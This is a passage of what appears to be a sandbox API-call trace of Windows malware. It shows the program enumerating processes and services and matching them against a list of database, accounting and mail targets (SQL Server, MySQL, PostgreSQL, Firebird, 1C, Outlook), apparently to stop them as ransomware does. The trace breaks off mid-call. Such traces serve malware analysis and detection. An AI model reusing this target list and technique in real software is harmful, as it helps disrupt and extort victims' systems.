[0253.884] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0253.884] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0253.884] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0253.884] lstrlenW (lpString="lsass.exe") returned 9 [0253.884] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0253.884] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0253.884] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0253.884] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0253.884] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0253.884] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0253.884] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0253.884] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0253.885] lstrlenW (lpString="lsm.exe") returned 7 [0253.885] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0253.885] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0253.885] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0253.885] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0253.885] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0253.885] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0253.885] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0253.885] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.885] lstrlenW (lpString="svchost.exe") returned 11 [0253.885] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0253.885] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0253.885] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0253.885] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0253.885] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0253.885] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0253.885] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0253.885] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.886] lstrlenW (lpString="svchost.exe") returned 11 [0253.886] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0253.886] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0253.886] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0253.886] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0253.886] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0253.886] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0253.886] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0253.886] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.886] lstrlenW (lpString="svchost.exe") returned 11 [0253.886] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0253.886] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0253.886] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0253.886] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0253.886] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0253.886] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0253.886] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0253.886] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.887] lstrlenW (lpString="svchost.exe") returned 11 [0253.887] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.887] lstrlenW (lpString="svchost.exe") returned 11 [0253.887] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0253.887] lstrlenW (lpString="audiodg.exe") returned 11 [0253.887] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.888] lstrlenW (lpString="svchost.exe") returned 11 [0253.888] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.888] lstrlenW (lpString="svchost.exe") returned 11 [0253.888] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0253.888] lstrlenW (lpString="userinit.exe") returned 12 [0253.888] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0253.888] lstrlenW (lpString="dwm.exe") returned 7 [0253.888] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0253.889] lstrlenW (lpString="explorer.exe") returned 12 [0253.889] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0253.889] lstrlenW (lpString="spoolsv.exe") returned 11 [0253.889] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0253.889] lstrlenW (lpString="taskhost.exe") returned 12 [0253.889] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.890] lstrlenW (lpString="svchost.exe") returned 11 [0253.890] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0253.890] lstrlenW (lpString="uyuquk.exe") returned 10 [0253.890] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0253.890] lstrlenW (lpString="reader_sl.exe") returned 13 [0253.890] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0253.891] CloseHandle (hObject=0x324) returned 1 [0253.891] Sleep (dwMilliseconds=0x1f4) [0254.616] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42e7430 [0254.708] EnumServicesStatusExW (in: hSCManager=0x42e7430, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0254.708] GetLastError () returned 0xea [0254.708] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x4232878 [0254.709] EnumServicesStatusExW (in: hSCManager=0x42e7430, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4232878, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4232878, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0254.709] CloseServiceHandle (hSCObject=0x42e7430) returned 1 [0254.709] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0254.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0254.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0254.709] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0254.709] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0254.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0254.709] lstrlenW (lpString="AudioSrv") returned 8 [0254.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0254.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0254.709] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0254.709] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0254.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0254.710] lstrlenW (lpString="BFE") returned 3 [0254.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0254.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0254.710] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0254.710] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0254.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0254.710] lstrlenW (lpString="CryptSvc") returned 8 [0254.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0254.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0254.710] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0254.710] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0254.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0254.710] lstrlenW (lpString="CscService") returned 10 [0254.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0254.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0254.710] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0254.710] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0254.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0254.710] lstrlenW (lpString="DcomLaunch") returned 10 [0254.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0254.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0254.710] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0254.710] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0254.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0254.710] lstrlenW (lpString="Dhcp") returned 4 [0254.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0254.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0254.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0254.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0254.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0254.710] lstrlenW (lpString="Dnscache") returned 8 [0254.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0254.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0254.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0254.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0254.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0254.710] lstrlenW (lpString="DPS") returned 3 [0254.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0254.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0254.711] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0254.711] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0254.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0254.711] lstrlenW (lpString="eventlog") returned 8 [0254.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0254.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0254.711] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0254.711] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0254.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0254.711] lstrlenW (lpString="EventSystem") returned 11 [0254.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0254.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0254.711] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0254.711] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0254.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0254.711] lstrlenW (lpString="gpsvc") returned 5 [0254.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0254.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0254.711] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0254.711] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0254.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0254.711] lstrlenW (lpString="LanmanWorkstation") returned 17 [0254.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0254.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0254.711] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0254.711] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0254.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0254.711] lstrlenW (lpString="lmhosts") returned 7 [0254.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0254.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0254.711] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0254.711] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0254.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0254.712] lstrlenW (lpString="MMCSS") returned 5 [0254.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0254.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0254.712] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0254.712] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0254.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0254.712] lstrlenW (lpString="MpsSvc") returned 6 [0254.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0254.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0254.712] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0254.712] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0254.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0254.712] lstrlenW (lpString="NlaSvc") returned 6 [0254.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0254.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0254.712] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0254.712] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0254.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0254.712] lstrlenW (lpString="nsi") returned 3 [0254.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0254.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0254.712] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0254.712] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0254.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0254.712] lstrlenW (lpString="PcaSvc") returned 6 [0254.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0254.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0254.712] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0254.712] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0254.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0254.712] lstrlenW (lpString="PlugPlay") returned 8 [0254.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0254.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0254.712] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0254.712] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0254.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0254.713] lstrlenW (lpString="Power") returned 5 [0254.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0254.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0254.713] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0254.713] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0254.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0254.713] lstrlenW (lpString="ProfSvc") returned 7 [0254.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0254.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0254.713] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0254.713] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0254.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0254.713] lstrlenW (lpString="RpcEptMapper") returned 12 [0254.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0254.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0254.713] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0254.713] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0254.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0254.713] lstrlenW (lpString="RpcSs") returned 5 [0254.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0254.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0254.713] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0254.713] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0254.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0254.713] lstrlenW (lpString="SamSs") returned 5 [0254.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0254.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0254.713] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0254.713] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0254.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0254.713] lstrlenW (lpString="Schedule") returned 8 [0254.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0254.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0254.713] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0254.713] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0254.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0254.714] lstrlenW (lpString="SENS") returned 4 [0254.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0254.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0254.714] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0254.714] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0254.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0254.714] lstrlenW (lpString="ShellHWDetection") returned 16 [0254.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0254.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0254.714] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0254.714] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0254.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0254.714] lstrlenW (lpString="Spooler") returned 7 [0254.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0254.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0254.714] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0254.714] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0254.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0254.714] lstrlenW (lpString="SysMain") returned 7 [0254.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0254.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0254.714] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0254.714] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0254.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0254.714] lstrlenW (lpString="Themes") returned 6 [0254.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0254.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0254.714] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0254.714] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0254.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0254.714] lstrlenW (lpString="TrkWks") returned 6 [0254.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0254.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0254.714] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0254.714] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0254.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0254.715] lstrlenW (lpString="UxSms") returned 5 [0254.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0254.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0254.715] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0254.715] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0254.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0254.715] HeapFree (in: hHeap=0x530000, dwFlags=0x0, 